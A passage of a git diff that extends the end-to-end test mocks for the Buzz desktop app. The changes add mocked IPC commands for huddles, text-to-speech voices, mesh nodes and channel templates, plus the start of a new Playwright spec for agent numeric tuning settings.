+  deferredSendMessageLiveEchoes.length = 0;
   mockGlobalAgentConfig = config.mock?.globalAgentConfig
     ? { ...config.mock.globalAgentConfig }
     : null;
@@ -9616,14 +9962,25 @@ export function maybeInstallE2eTauriMocks() {
   resetMockPersonaCatalogEvents(config);
   resetMockSaveSubscriptions(config);
   resetMockPendingCommunityDeepLinks(config);
-  initializeMockHuddle(config.mock?.huddle);
+  initializeMockHuddle(config.mock?.huddle, config);
   mockWebsocketSendMutexWedged = false;
-  mockWindows("main");
+  if (config.mock?.windowLabel) {
+    (window as Window & { isTauri?: boolean }).isTauri = true;
+  }
+  mockWindows(config.mock?.windowLabel ?? "main");
   window.__BUZZ_E2E_COMMANDS__ = [];
   window.__BUZZ_E2E_COMMAND_PAYLOADS__ = [];
   window.__BUZZ_E2E_COMMAND_LOG__ = [];
+  window.__BUZZ_E2E_EMIT_MOCK_HUDDLE_TTS_SPEAKER__ = (payload) =>
+    emit("huddle-tts-speaker-level", payload);
   window.__BUZZ_E2E_SIGNED_EVENTS__ = [];
   window.__BUZZ_E2E_WEBVIEW_ZOOM__ = 1;
+  window.__BUZZ_E2E_EMIT_MEDIA_UPLOAD_PHASE__ = async (input) => {
+    await emit("media-upload-phase", input);
+  };
+  window.__BUZZ_E2E_EMIT_MEDIA_UPLOAD_PROGRESS__ = async (input) => {
+    await emit("media-upload-progress", input);
+  };
   window.__BUZZ_E2E_SET_MOCK_HUDDLE_SNAPSHOT__ = async ({
     members,
     transcriptionEnabled,
@@ -9633,7 +9990,7 @@ export function maybeInstallE2eTauriMocks() {
     }
     mockHuddle.members = structuredClone(members);
     mockHuddle.state.transcription_enabled = transcriptionEnabled;
-    refreshMockHuddleMembership();
+    refreshMockHuddleMembership(config);
     persistMockHuddle();
     await emitMockHuddleState();
   };
@@ -9762,6 +10119,23 @@ export function maybeInstallE2eTauriMocks() {
   window.__BUZZ_E2E_GET_EVENT_CALL_COUNT__ = 0;
   window.__BUZZ_E2E_DEFER_GET_EVENT__ = null;
   deferredGetEventQueue = [];
+  deferNextChannelsRead = false;
+  deferredChannelsReadResolve = null;
+  window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 0;
+  window.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__ = () => {
+    if (deferredChannelsReadResolve) {
+      throw new Error("a channel read is already deferred");
+    }
+    deferNextChannelsRead = true;
+  };
+  window.__BUZZ_E2E_RELEASE_CHANNELS_READ__ = () => {
+    deferNextChannelsRead = false;
+    const resolve = deferredChannelsReadResolve;
+    deferredChannelsReadResolve = null;
+    window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 0;
+    resolve?.();
+    return resolve ? 1 : 0;
+  };
   window.__BUZZ_E2E_RELEASE_GET_EVENT__ = () => {
     const queued = deferredGetEventQueue.splice(0);
     for (const entry of queued) {
@@ -9811,6 +10185,20 @@ export function maybeInstallE2eTauriMocks() {
   };
   window.__BUZZ_E2E_GET_RELAY_CONNECTION_STATE__ = () =>
     relayClient.getConnectionState();
+  window.__BUZZ_E2E_QUEUE_AUTH_RESPONSES__ = (responses) => {
+    mockAuthResponses.push(...responses);
+  };
+  window.__BUZZ_E2E_CLOSE_LIVE_SUBSCRIPTIONS__ = (reason) => {
+    let closed = 0;
+    for (const socket of mockSockets.values()) {
+      for (const subId of [...socket.subscriptions.keys()]) {
+        sendWsText(socket.handler, ["CLOSED", subId, reason]);
+        socket.subscriptions.delete(subId);
+        closed += 1;
+      }
+    }
+    return closed;
+  };
 
   window.__BUZZ_E2E_SEED_MOCK_REMINDERS__ = (reminders) => {
     mockReminderEvents.length = 0;
@@ -9851,6 +10239,13 @@ export function maybeInstallE2eTauriMocks() {
   window.__BUZZ_E2E_RESET_WEBSOCKET_CONNECT_ATTEMPTS__ = () => {
     relayWebsocketConnectAttemptStarts.length = 0;
   };
+  window.__BUZZ_E2E_RELEASE_SEND_MESSAGE_LIVE_ECHO__ = () => {
+    const queued = deferredSendMessageLiveEchoes.splice(0);
+    for (const { channelId, event } of queued) {
+      emitMockLiveEvent(channelId, event);
+    }
+    return queued.length;
+  };
   // Tests vary mesh admission and models to exercise provider discovery and
   // the managed-agent start preflight.
   window.__BUZZ_E2E_SET_MESH__ = (mesh) => {
@@ -9890,27 +10285,58 @@ export function maybeInstallE2eTauriMocks() {
   window.__BUZZ_E2E_SEED_OBSERVER_EVENTS__ = ({ agentPubkey, events }) => {
     injectObserverEventsForE2E(agentPubkey, events);
   };
+  const meshModelName = (modelId: string) => {
+    const basename = modelId.split("/").at(-1) ?? modelId;
+    return basename
+      .replace(/-(?:Instruct|GGUF)(?:-|:|$).*/, "")
+      .replace(/:.*/, "")
+      .replaceAll("-", " ");
+  };
   const meshNodeStatus = (
     state: "off" | "running",
     mode: "serve" | "client" | null,
-  ) => ({
-    state,
-    mode,
-    health: { status: "ok" as const, reason: null },
-    apiBaseUrl: state === "running" ? "http://127.0.0.1:9337/v1" : null,
-    consoleUrl: null,
-    modelId: mockMeshState.models[0]?.id ?? null,
-    modelName: mockMeshState.models[0]?.name ?? null,
-    inviteToken: state === "running" ? "mock-endpoint-addr" : null,
-    endpointId: state === "running" ? "mock-endpoint-id" : null,
-    deviceId: state === "running" ? "mock-endpoint-id" : null,
-    deviceName: state === "running" ? "Mock desktop" : null,
-  });
-  const handleMockCommand = async (command: string, payload: unknown) => {
+  ) => {
+    const model = mockMeshState.activeModel ?? mockMeshState.models[0] ?? null;
+    return {
+      state,
+      mode,
+      health: { status: "ok" as const, reason: null },
+      apiBaseUrl: state === "running" ? "http://127.0.0.1:9337/v1" : null,
+      consoleUrl: null,
+      modelId: model?.id ?? null,
+      modelName: model?.name ?? null,
+      inviteToken: state === "running" ? "mock-endpoint-addr" : null,
+      endpointId: state === "running" ? "mock-endpoint-id" : null,
+      deviceId: state === "running" ? "mock-endpoint-id" : null,
+      deviceName: state === "running" ? "Mock desktop" : null,
+    };
+  };
+  let mockImportedVoices: Array<{
+    key: string;
+    displayName: string;
+    backend: string;
+    backendName: string;
+    availability: "installed";
+    fallbackKey: string;
+    referenceFile: string;
+    provenance: {
+      source: string;
+      contentHash: string;
+      license: null;
+      sourceUrl: null;
+    };
+  }> = [];
+  const handleMockCommand = async (
+    command: string,
+    payload: unknown,
+  ): Promise<unknown> => {
     const activeConfig = getConfig();
     const identity = getActiveIdentity(activeConfig);
     window.__BUZZ_E2E_COMMANDS__?.push(command);
     const loggedPayload = (() => {
+      if (payload instanceof Uint8Array) {
+        return { rawByteLength: payload.byteLength };
+      }
       try {
         return JSON.parse(JSON.stringify(payload ?? null));
       } catch {
@@ -9932,9 +10358,149 @@ export function maybeInstallE2eTauriMocks() {
         }
         return snapshot;
       }
+      case "get_voice_input_mode":
+        return mockHuddle?.state.voice_input_mode ?? "push_to_talk";
+      case "set_voice_input_mode": {
+        if (!mockHuddle) throw new Error("No active mock huddle.");
+        const mode = (payload as { mode?: unknown }).mode;
+        if (mode !== "push_to_talk" && mode !== "voice_activity") {
+          throw new Error("Missing voice input mode.");
+        }
+        mockHuddle.state.voice_input_mode = mode;
+        persistMockHuddle();
+        await emitMockHuddleState();
+        return null;
+      }
+      case "set_huddle_manual_mic_unmuted":
+        return null;
       case "get_huddle_agent_pubkeys":
         if (!mockHuddle) return [];
         return [...mockHuddle.state.agent_pubkeys];
+      case "start_huddle": {
+        const request = payload as {
+          parentChannelId: string;
+          memberPubkeys?: string[];
+          channelName?: string;
+        };
+        const ephemeralChannelId = crypto.randomUUID();
+        const selfPubkey = identity?.pubkey ?? DEFAULT_MOCK_IDENTITY.pubkey;
+        const owner = createCurrentMember(activeConfig, "owner");
+        mockHuddle = {
+          members: [
+            { pubkey: selfPubkey, role: "owner" },
+            ...(request.memberPubkeys ?? []).map((pubkey) => ({
+              pubkey,
+              role: "bot" as const,
+            })),
+          ],
+          state: {
+            phase: "creating",
+            parent_channel_id: request.parentChannelId,
+            ephemeral_channel_id: ephemeralChannelId,
+            huddle_thread_event_id: null,
+            participants: [],
+            agent_pubkeys: [],
+            agent_voice_settings: {},
+            tts_enabled: false,
+            transcription_enabled: false,
+            is_creator: true,
+            voice_input_mode: "push_to_talk",
+          },
+        };
+        refreshMockHuddleMembership(activeConfig);
+        persistMockHuddle();
+        await emitMockHuddleState();
+        mockChannels.push(
+          createMockChannel({
+            id: ephemeralChannelId,
+            name: request.channelName ?? "huddle",
+            channel_type: "stream",
+            visibility: "private",
+            description: "",
+            topic: null,
+            purpose: null,
+            last_message_at: null,
+            archived_at: null,
+            created_by: owner.pubkey,
+            topic_set_by: null,
+            topic_set_at: null,
+            purpose_set_by: null,
+            purpose_set_at: null,
+            topic_required: false,
+            max_members: null,
+            nip29_group_id: null,
+            ttl_seconds: 3_600,
+            created_minutes_ago: 0,
+            members: [owner],
+          }),
+        );
+        emitMockGlobalEvent(
+          createMockEvent(
+            KIND_MEMBER_ADDED_NOTIFICATION,
+            "",
+            [
+              ["h", ephemeralChannelId],
+              ["p", selfPubkey],
+            ],
+            selfPubkey,
+          ),
+        );
+        if ((activeConfig?.mock?.startHuddleReturnDelayMs ?? 0) > 0) {
+          await new Promise((resolve) =>
+            window.setTimeout(
+              resolve,
+              activeConfig?.mock?.startHuddleReturnDelayMs ?? 0,
+            ),
+          );
+        }
+        if (mockHuddle) {
+          mockHuddle.state.phase = "connected";
+          persistMockHuddle();
+          await emitMockHuddleState();
+        }
+        return { ephemeral_channel_id: ephemeralChannelId };
+      }
+      case "confirm_huddle_active":
+        if (mockHuddle) {
+          mockHuddle.state.phase = "active";
+          persistMockHuddle();
+          await emitMockHuddleState();
+        }
+        return null;
+      case "open_huddle_window":
+        if ((activeConfig?.mock?.openHuddleWindowDelayMs ?? 0) > 0) {
+          await new Promise((resolve) =>
+            window.setTimeout(
+              resolve,
+              activeConfig?.mock?.openHuddleWindowDelayMs ?? 0,
+            ),
+          );
+        }
+        return null;
+      case "close_huddle_companion":
+        await emit("huddle-companion-returned", null);
+        return null;
+      case "leave_huddle":
+      case "end_huddle":
+        mockHuddle = null;
+        window.sessionStorage.removeItem(MOCK_HUDDLE_STORAGE_KEY);
+        // Deliberately leave the unarchived backing channel in the mock list.
+        // This models relay/cache propagation lag and proves the UI removes it
+        // at the local huddle lifecycle boundary rather than waiting for data.
+        await emit("huddle-state-changed", {
+          phase: "idle",
+          parent_channel_id: null,
+          ephemeral_channel_id: null,
+          huddle_thread_event_id: null,
+          participants: [],
+          agent_pubkeys: [],
+          agent_voice_settings: {},
+          tts_enabled: false,
+          transcription_enabled: false,
+          is_creator: false,
+          voice_input_mode: "push_to_talk",
+        });
+        return null;
       case "set_huddle_transcription_enabled":
         if (!mockHuddle) {
           throw new Error("No active mock huddle.");
@@ -9945,15 +10511,332 @@ export function maybeInstallE2eTauriMocks() {
         persistMockHuddle();
         await emitMockHuddleState();
         return null;
+      case "ensure_huddle_agent_voice_settings":
+        refreshMockHuddleMembership(activeConfig);
+        persistMockHuddle();
+        return structuredClone(mockHuddle?.state.agent_voice_settings ?? {});
+      case "set_huddle_agent_tts_enabled": {
+        if (!mockHuddle) throw new Error("No active mock huddle.");
+        const request = payload as { agentPubkey?: string; enabled?: boolean };
+        if (!request.agentPubkey || typeof request.enabled !== "boolean") {
+          throw new Error("Missing agent text-to-speech setting.");
+        }
+        refreshMockHuddleMembership(activeConfig);
+        const settings =
+          mockHuddle.state.agent_voice_settings[request.agentPubkey];
+        if (!settings) throw new Error("Agent is not in the active huddle.");
+        settings.enabled = request.enabled;
+        persistMockHuddle();
+        await emitMockHuddleState();
+        return structuredClone(settings);
+      }
+      case "set_huddle_agent_voice": {
+        if (!mockHuddle) throw new Error("No active mock huddle.");
+        const request = payload as { agentPubkey?: string; voiceKey?: string };
+        if (!request.agentPubkey || !request.voiceKey) {
+          throw new Error("Missing agent voice setting.");
+        }
+        refreshMockHuddleMembership(activeConfig);
+        const settings =
+          mockHuddle.state.agent_voice_settings[request.agentPubkey];
+        if (!settings) throw new Error("Agent is not in the active huddle.");
+        settings.voice_key = request.voiceKey;
+        persistMockHuddle();
+        await emitMockHuddleState();
+        return structuredClone(settings);
+      }
+      case "sync_agents_to_active_huddle": {
+        const request = payload as {
+          channelId?: string;
+          agentPubkeys?: string[];
+        };
+        if (
+          !mockHuddle ||
+          !request.channelId ||
+          (request.channelId !== mockHuddle.state.parent_channel_id &&
+            request.channelId !== mockHuddle.state.ephemeral_channel_id)
+        ) {
+          return { matched_active_huddle: false, added: [] };
+        }
+
+        const existingAgents = new Set(
+          mockHuddle.members
+            .filter((member) => member.role === "bot")
+            .map((member) => member.pubkey),
+        );
+        const added: string[] = [];
+        for (const pubkey of request.agentPubkeys ?? []) {
+          if (!pubkey || existingAgents.has(pubkey)) continue;
+          existingAgents.add(pubkey);
+          added.push(pubkey);
+          mockHuddle.members.push({ pubkey, role: "bot" });
+        }
+        refreshMockHuddleMembership(activeConfig);
+        persistMockHuddle();
+        if (added.length > 0) {
+          await emitMockHuddleState();
+        }
+        return { matched_active_huddle: true, added };
+      }
       case "add_agent_to_huddle": {
+        const error = activeConfig?.mock?.addAgentToHuddleError;
+        if (error) {
+          throw new Error(error);
+        }
         const result = activeConfig?.mock?.addAgentToHuddleResult;
         if (!result) {
           throw new Error("No mock add-agent result configured.");
         }
         return structuredClone(result);
       }
+      case "remove_agent_from_huddle": {
+        const agentPubkey = (payload as { agentPubkey?: string })?.agentPubkey;
+        if (!mockHuddle || !agentPubkey) {
+          throw new Error("No active huddle agent to remove.");
+        }
+        const initialCount = mockHuddle.members.length;
+        mockHuddle.members = mockHuddle.members.filter(
+          (member) => member.role !== "bot" || member.pubkey !== agentPubkey,
+        );
+        if (mockHuddle.members.length === initialCount) {
+          throw new Error("Agent is not in this huddle.");
+        }
+        refreshMockHuddleMembership(activeConfig);
+        persistMockHuddle();
+        await emitMockHuddleState();
+        return;
+      }
       case "get_model_status":
         return { stt: "ready", tts: "ready" };
+      case "get_tts_settings":
+        return (
+          activeConfig?.mock?.ttsSettings ?? {
+            version: 1,
+            agentTextToSpeech: true,
+            voicePreferences: ["pocket:mary"],
+          }
+        );
+      case "list_voice_registry":
+        return [
+          ...[
+            [
+              "anna",
+              "Anna",
+              "anna.wav",
+              "p228_023_enhanced.wav",
+              "0a6de25cf12bf1540beb85979f306a92be81fecc051c547c5395e7e5237a3856",
+            ],
+            [
+              "vera",
+              "Vera",
+              "vera.wav",
+              "p229_023_enhanced.wav",
+              "309cf91a895830f15842b398f69a4962cb1f7e0bfab10e25dd27838e826c204b",
+            ],
+            [
+              "fantine",
+              "Fantine",
+              "fantine.wav",
+              "p244_023_enhanced.wav",
+              "5f07d4e2a3f20a15572aae885156b43ef3fc12ef3812996fd135680d9956448b",
+            ],
+            [
+              "charles",
+              "Charles",
+              "charles.wav",
+              "p254_023_enhanced.wav",
+              "6b681a429198f16e378d53bccb08d06939da7b00144a7696111d4f8f76be7756",
+            ],
+            [
+              "paul",
+              "Paul",
+              "paul.wav",
+              "p259_023_enhanced.wav",
+              "7aba504fe0b3b16478b69ed27ce6007e3cb42b0c1915b5f1c6a6024ae37d679b",
+            ],
+            [
+              "eponine",
+              "Eponine",
+              "eponine.wav",
+              "p262_023_enhanced.wav",
+              "a13c27fb47627b05223691a0ef2974358a18c886e6c2f9d2762ff1d02c20926b",
+            ],
+            [
+              "azelma",
+              "Azelma",
+              "azelma.wav",
+              "p303_023_enhanced.wav",
+              "60e3d26cdf2efdec5df712152c839928f4d5522821e6554ae11fd96c57ab1026",
+            ],
+            [
+              "george",
+              "George",
+              "george.wav",
+              "p315_023_enhanced.wav",
+              "29a41f93bf5236e5b21501091d7774c255d5f3d4e62fa4f9fdf0a92a793c84ae",
+            ],
+            [
+              "mary",
+              "Mary",
+              "reference_sample.wav",
+              "p333_023_enhanced.wav",
+              "a35b0468382218e9f37a9a7494d1e4b74deaf18d7ced22265b4e325bb55c183f",
+            ],
+            [
+              "jane",
+              "Jane",
+              "jane.wav",
+              "p339_023_enhanced.wav",
+              "2f12e7f155eb3118f55425394f1b049e5b1b67bdc9b3932c8ba4521420aeb84a",
+            ],
+            [
+              "michael",
+              "Michael",
+              "michael.wav",
+              "p360_023_enhanced.wav",
+              "b6743e9195e5e3fd34fe9d1633ae93f7ffab787b249e45f6467d7d6f7a6ee6ad",
+            ],
+            [
+              "eve",
+              "Eve",
+              "eve.wav",
+              "p361_023_enhanced.wav",
+              "396e7cbd066b0f3fb6d67fa26e7904076958239d736d4390f15b5fe88feb14cd",
+            ],
+          ].map(
+            ([id, displayName, referenceFile, upstreamFile, contentHash]) => ({
+              key: `pocket:${id}`,
+              displayName,
+              backend: "pocket",
+              backendName: "Pocket TTS",
+              availability: "bundled",
+              fallbackKey: id === "mary" ? null : "pocket:mary",
+              referenceFile,
+              provenance: {
+                source: "bundled",
+                contentHash,
+                license: "CC-BY-4.0",
+                sourceUrl: `https://huggingface.co/kyutai/tts-voices/blob/323332d33f997de8394f24a193e1a76df720e01a/vctk/${upstreamFile}`,
+              },
+            }),
+          ),
+          ...mockImportedVoices,
+        ];
+      case "set_tts_enabled": {
+        const enabled = (payload as { enabled?: boolean })?.enabled;
+        if (typeof enabled !== "boolean")
+          throw new Error("Missing text-to-speech enabled state");
+        const settings = {
+          version: 1,
+          agentTextToSpeech: enabled,
+          voicePreferences: activeConfig?.mock?.ttsSettings
+            ?.voicePreferences ?? ["pocket:mary"],
+        };
+        if (activeConfig) {
+          activeConfig.mock ??= {};
+          activeConfig.mock.ttsSettings = settings;
+        }
+        return settings;
+      }
+      case "interrupt_huddle_speech":
+        return;
+      case "set_pocket_voice": {
+        const voiceKey = (payload as { voiceKey?: string })?.voiceKey;
+        if (!voiceKey) throw new Error("Missing Pocket voice key");
+        const current = activeConfig?.mock?.ttsSettings ?? {
+          version: 1,
+          agentTextToSpeech: true,
+          voicePreferences: ["pocket:mary"],
+        };
+        const firstPocketIndex = current.voicePreferences.findIndex((key) =>
+          key.startsWith("pocket:"),
+        );
+        const preferences = current.voicePreferences.filter(
+          (key) => !key.startsWith("pocket:"),
+        );
+        preferences.splice(
+          firstPocketIndex < 0 ? preferences.length : firstPocketIndex,
+          0,
+          voiceKey,
+        );
+        const settings = { ...current, voicePreferences: preferences };
+        if (activeConfig) {
+          activeConfig.mock ??= {};
+          activeConfig.mock.ttsSettings = settings;
+        }
+        return settings;
+      }
+      case "preview_pocket_voice":
+        return null;
+      case "import_pocket_voice": {
+        const importResult =
+          activeConfig?.mock?.pocketVoiceImportResult ?? "success";
+        if (importResult === "cancel") return null;
+        if (importResult === "invalid") {
+          throw new Error("Voice WAV must contain PCM or 32-bit float audio");
+        }
+        const contentHash = "1".repeat(64);
+        const imported = {
+          key: `pocket:imported:${contentHash}`,
+          displayName: "My voice",
+          backend: "pocket",
+          backendName: "Pocket TTS",
+          availability: "installed" as const,
+          fallbackKey: "pocket:mary",
+          referenceFile: `${contentHash}.wav`,
+          provenance: {
+            source: "local import",
+            contentHash,
+            license: null,
+            sourceUrl: null,
+          },
+        };
+        mockImportedVoices = [imported];
+        const current = activeConfig?.mock?.ttsSettings ?? {
+          version: 1,
+          agentTextToSpeech: true,
+          voicePreferences: ["pocket:mary"],
+        };
+        const settings = {
+          ...current,
+          voicePreferences: [imported.key],
+        };
+        if (activeConfig) {
+          activeConfig.mock ??= {};
+          activeConfig.mock.ttsSettings = settings;
+        }
+        return {
+          settings,
+          registry: await handleMockCommand("list_voice_registry", null),
+        };
+      }
+      case "delete_pocket_voice": {
+        const voiceKey = (payload as { voiceKey?: string })?.voiceKey;
+        if (!voiceKey?.startsWith("pocket:imported:"))
+          throw new Error("Missing imported Pocket voice key");
+        mockImportedVoices = mockImportedVoices.filter(
+          (voice) => voice.key !== voiceKey,
+        );
+        const current = activeConfig?.mock?.ttsSettings ?? {
+          version: 1,
+          agentTextToSpeech: true,
+          voicePreferences: ["pocket:mary"],
+        };
+        const settings = {
+          ...current,
+          voicePreferences: current.voicePreferences.includes(voiceKey)
+            ? ["pocket:mary"]
+            : current.voicePreferences,
+        };
+        if (activeConfig) {
+          activeConfig.mock ??= {};
+          activeConfig.mock.ttsSettings = settings;
+        }
+        return {
+          settings,
+          registry: await handleMockCommand("list_voice_registry", null),
+        };
+      }
       case "get_builderlab_auth":
         return activeConfig?.mock?.builderlabAuth ?? null;
       case "start_builderlab_login": {
@@ -10037,10 +10920,15 @@ export function maybeInstallE2eTauriMocks() {
         return mockMeshState.servingUsage;
       case "mesh_start_node": {
         const req = (
-          payload as { request?: { mode?: "serve" | "client" } } | null
+          payload as {
+            request?: { mode?: "serve" | "client"; modelId?: string };
+          } | null
         )?.request;
         mockMeshState.nodeState = "running";
         mockMeshState.nodeMode = req?.mode ?? "serve";
+        mockMeshState.activeModel = req?.modelId
+          ? { id: req.modelId, name: meshModelName(req.modelId) }
+          : (mockMeshState.models[0] ?? null);
         return meshNodeStatus(mockMeshState.nodeState, mockMeshState.nodeMode);
       }
       case "mesh_stop_node":
@@ -10054,6 +10942,7 @@ export function maybeInstallE2eTauriMocks() {
         }
         mockMeshState.nodeState = "off";
         mockMeshState.nodeMode = null;
+        mockMeshState.activeModel = null;
         return meshNodeStatus("off", null);
       case "get_identity": {
         const isLost =
@@ -10812,16 +11701,41 @@ export function maybeInstallE2eTauriMocks() {
           activeConfig,
         );
       case "discover_backend_providers":
-        return [];
-      case "probe_backend_provider":
-        return { ok: false, error: "mock: no providers available" };
+        return activeConfig?.mock?.backendProviders ?? [];
+      case "probe_backend_provider": {
+        const probeDelayMs =
+          activeConfig?.mock?.backendProviderProbeDelayMs ?? 0;
+        if (probeDelayMs > 0) {
+          await new Promise((resolve) =>
+            window.setTimeout(resolve, probeDelayMs),
+          );
+        }
+        return (
+          activeConfig?.mock?.backendProviderProbeResult ?? {
+            ok: false,
+            error: "mock: no providers available",
+          }
+        );
+      }
       case "discover_managed_agent_prereqs":
         return handleDiscoverManagedAgentPrereqs(
           payload as Parameters<typeof handleDiscoverManagedAgentPrereqs>[0],
           activeConfig,
         );
-      case "get_channels":
-        return handleGetChannels(activeConfig);
+      case "get_channels": {
+        // Claim the one-shot before starting the read, then hold only that
+        // invocation's completion. Later reads pass through and cannot join it.
+        const deferred = deferNextChannelsRead;
+        deferNextChannelsRead = false;
+        const channels = handleGetChannels(activeConfig);
+        if (deferred) {
+          await new Promise<void>((resolve) => {
+            deferredChannelsReadResolve = resolve;
+            window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 1;
+          });
+        }
+        return channels;
+      }
       case "get_feed":
         return handleGetFeed(
           (payload as Parameters<typeof handleGetFeed>[0]) ?? {},
@@ -10931,6 +11845,50 @@ export function maybeInstallE2eTauriMocks() {
           created_at: template.createdAt,
           updated_at: template.updatedAt,
         }));
+      case "create_channel_template": {
+        const { input } = payload as {
+          input: {
+            name: string;
+            description?: string;
+            channelType?: "stream" | "forum";
+            visibility?: "open" | "private";
+            canvasTemplate?: string;
+            agents?: ChannelTemplate["agents"];
+          };
+        };
+        const timestamp = new Date().toISOString();
+        const created: ChannelTemplate = {
+          id: `template-${Date.now()}`,
+          name: input.name,
+          description: input.description ?? null,
+          channelType: input.channelType ?? "stream",
+          visibility: input.visibility ?? "open",
+          canvasTemplate: input.canvasTemplate ?? null,
+          agents: input.agents ?? { personas: [], teams: [] },
+          isBuiltin: false,
+          createdAt: timestamp,
+          updatedAt: timestamp,
+        };
+        if (activeConfig) {
+          activeConfig.mock ??= {};
+          activeConfig.mock.channelTemplates = [
+            ...(activeConfig.mock.channelTemplates ?? []),
+            created,
+          ];
+        }
+        return {
+          id: created.id,
+          name: created.name,
+          description: created.description,
+          channel_type: created.channelType,
+          visibility: created.visibility,
+          canvas_template: created.canvasTemplate,
+          agents: created.agents,
+          is_builtin: created.isBuiltin,
+          created_at: created.createdAt,
+          updated_at: created.updatedAt,
+        };
+      }
       case "create_team":
         return handleCreateTeam(
           payload as Parameters<typeof handleCreateTeam>[0],
@@ -11030,6 +11988,9 @@ export function maybeInstallE2eTauriMocks() {
           memoryEntryCount: 0,
           hasSourceAllowlist: false,
           sourceAllowlistCount: 0,
+          sourceAllowlist: [],
+          manifestJson: "{}",
+          locked: false,
         };
       }
       case "confirm_agent_snapshot_import": {
@@ -11326,7 +12287,16 @@ export function maybeInstallE2eTauriMocks() {
           }
         );
       }
+      case "get_global_agent_config_set_call_count":
+        return setGlobalAgentConfigCallCount;
       case "set_global_agent_config": {
+        setGlobalAgentConfigCallCount += 1;
+        const saveErrors = activeConfig?.mock?.setGlobalAgentConfigErrors;
+        const saveError =
+          saveErrors?.[
+            Math.min(setGlobalAgentConfigCallCount - 1, saveErrors.length - 1)
+          ];
+        if (saveError) throw new Error(saveError);
         // Echo back the submitted config as the saved value (mirrors the
         // backend's strip-on-write pass in tests where all values are already
         // non-empty). The invoke payload wraps it as { config }.
@@ -11372,6 +12342,8 @@ export function maybeInstallE2eTauriMocks() {
       }
       case "get_baked_build_env_keys":
         return (config?.mock?.bakedBuildEnv ?? []).map((entry) => entry.key);
+      case "agent_access_owner_only":
+        return config?.mock?.ownerOnlyAccessBuild ?? false;
       case "update_managed_agent":
         return handleUpdateManagedAgent(
           payload as Parameters<typeof handleUpdateManagedAgent>[0],
@@ -11511,6 +12483,7 @@ export function maybeInstallE2eTauriMocks() {
       case "delete_message":
         handleDeleteMessage(
           payload as Parameters<typeof handleDeleteMessage>[0],
+          activeConfig,
         );
         return null;
       case "edit_message":
@@ -11539,6 +12512,13 @@ export function maybeInstallE2eTauriMocks() {
           payload as { data: number[]; filename?: string | null },
           activeConfig,
         );
+      case "upload_media_bytes_raw":
+        return resolveMockUploadDescriptorForBytes(
+          {
+            data: payload as Uint8Array,
+          },
+          activeConfig,
+        );
       case "fetch_media_bytes": {
         // The real command fetches relay media through Rust reqwest and
         // replies with raw bytes (`tauri::ipc::Response` → ArrayBuffer). In
@@ -11573,15 +12553,26 @@ export function maybeInstallE2eTauriMocks() {
       case "download_image":
       case "save_png_data_url":
       case "download_file":
+      case "save_agent_card":
         // The save dialog can't run headlessly; report a successful save so the
         // FileCard / image-menu click handlers resolve. Specs assert the
         // command was invoked via `__BUZZ_E2E_COMMANDS__`, not the dialog.
         return true;
+      case "card_mint_key_status":
+        // Cards: pretend a key is configured in global defaults so the mint
+        // form renders and the key-status row is shown.
+        return "global";
+      case "list_agent_cards":
+        // Cards archive starts empty in E2E; specs exercising the gallery
+        // can extend this with a seeded config knob when needed.
+        return [];
       case "copy_image_to_clipboard":
         return;
       case "copy_text_to_clipboard":
         await navigator.clipboard.writeText((payload as { text: string }).text);
         return;
+      case "read_clipboard_text":
+        return navigator.clipboard.readText();
       case "get_event":
         return handleGetEvent(
           payload as Parameters<typeof handleGetEvent>[0],
@@ -11808,7 +12799,7 @@ export function maybeInstallE2eTauriMocks() {
       // install); create/merge/delete/remove mutate it with the same
       // union / delete-row-when-empty semantics as the real Rust commands
       // (see `archive/store.rs::merge_owner_p_kinds` / `remove_owner_p_kind`)
-      // so specs can drive fresh-internal-repair and toggle ON/OFF flows.
+      // so specs can drive default-on seeding and toggle ON/OFF flows.
       case "list_save_subscriptions": {
         const win = window as unknown as Record<string, unknown>;
         if (!win.__BUZZ_E2E_IPC_COUNTERS__) {
@@ -11866,20 +12857,8 @@ export function maybeInstallE2eTauriMocks() {
       case "archive_events":
         // Returns the ArchiveBatchResult shape the UI expects.
         return { persisted: 0, dropped: 0 };
-      case "observer_archive_default_enabled": {
-        const delayMs =
-          activeConfig?.mock?.observerArchiveDefaultEnabledDelayMs;
-        if (delayMs && delayMs > 0) {
-          await new Promise((resolve) => window.setTimeout(resolve, delayMs));
-        }
-        const error = activeConfig?.mock?.observerArchiveDefaultEnabledError;
-        if (error) {
-          throw new Error(error);
-        }
-        return activeConfig?.mock?.observerArchiveDefaultEnabled ?? false;
-      }
       case "agent_metric_archive_default_enabled":
-        return activeConfig?.mock?.agentMetricArchiveDefaultEnabled ?? false;
+        return activeConfig?.mock?.agentMetricArchiveDefaultEnabled ?? true;
       case "set_prevent_sleep_active":
         return null;
       case "plugin:window|is_fullscreen":
@@ -11939,6 +12918,8 @@ export function maybeInstallE2eTauriMocks() {
   };
   window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__ = (command, payload) =>
     handleMockCommand(command, payload ?? null);
+  window.__BUZZ_E2E_EMIT_TAURI_EVENT__ = (event, payload) =>
+    emit(event, payload);
   mockIPC(handleMockCommand, { shouldMockEvents: true });
   const tauriInternals = (
     window as typeof window & {
diff --git a/desktop/tests/e2e/add-community-screenshots.spec.ts b/desktop/tests/e2e/add-community-screenshots.spec.ts
index f2aa49a20f..389e182e74 100644
--- a/desktop/tests/e2e/add-community-screenshots.spec.ts
+++ b/desktop/tests/e2e/add-community-screenshots.spec.ts
@@ -55,7 +55,11 @@ test("capture: add-community choices", async ({ page }) => {
 test("capture: join an existing community", async ({ page }) => {
   await page.getByTestId("add-community-join").click();
   const dialog = page.getByTestId("add-community-dialog");
-  await page.getByLabel("Community URL or invite link").waitFor();
+  const communityUrl = page.getByLabel("Community URL or invite link");
+  await communityUrl.fill("community.example.com");
+  await page.getByTestId("community-api-token-reveal").waitFor({
+    state: "detached",
+  });
   await waitForAnimations(page);
   await dialog.screenshot({ path: `${OUTDIR}/02-join.png` });
 });
diff --git a/desktop/tests/e2e/agent-numeric-tuning.spec.ts b/desktop/tests/e2e/agent-numeric-tuning.spec.ts
new file mode 100644
index 0000000000..dc70c8b12e
--- /dev/null
+++ b/desktop/tests/e2e/agent-numeric-tuning.spec.ts
@@ -0,0 +1,372 @@
+/**
+ * Playwright regression tests for the numeric tuning fields (max output tokens,
+ * context limit, max rounds) on both the global Agent Defaults surface and the
+ * per-agent Advanced section.
+ *
+ * Covers:
